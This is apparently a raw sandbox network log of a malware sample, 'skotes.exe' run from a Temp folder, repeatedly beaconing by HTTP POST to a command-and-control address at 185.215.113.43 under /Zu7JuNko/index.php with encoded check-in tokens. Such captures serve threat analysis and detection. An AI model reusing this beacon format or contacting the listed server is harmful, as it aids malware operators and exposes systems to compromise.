Oct 7, 2024 13:28:41.656857014 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:42.361412048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50069	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:43.999066114 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:44.727608919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50071	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:48.046214104 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:48.741291046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50072	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:50.266108990 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:50.989383936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50073	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:52.625143051 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:53.671658993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 7, 2024 13:28:53.672096014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50074	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:55.186589956 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:28:55.879344940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50075	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:57.515678883 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:28:58.205837011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50077	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:28:59.721813917 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:00.428572893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50078	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:02.047223091 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:02.749880075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50079	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:04.380975008 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:05.133424044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50080	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:06.765007973 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:07.454952955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50081	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:08.967598915 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:09.700020075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50082	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:11.328073978 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:12.064918041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50083	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:13.577291012 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:14.271991968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50084	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:15.904169083 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:16.623200893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50085	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:18.139750957 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:18.870923996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50086	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:20.499924898 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:21.190983057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50087	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:22.703572989 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:23.419543982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50088	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:25.037905931 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:25.757266045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50089	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:27.398358107 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:28.133719921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50090	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:29.766119003 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:30.665015936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50091	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:32.187674999 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:32.922765970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50092	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:34.562773943 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:35.265564919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50093	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
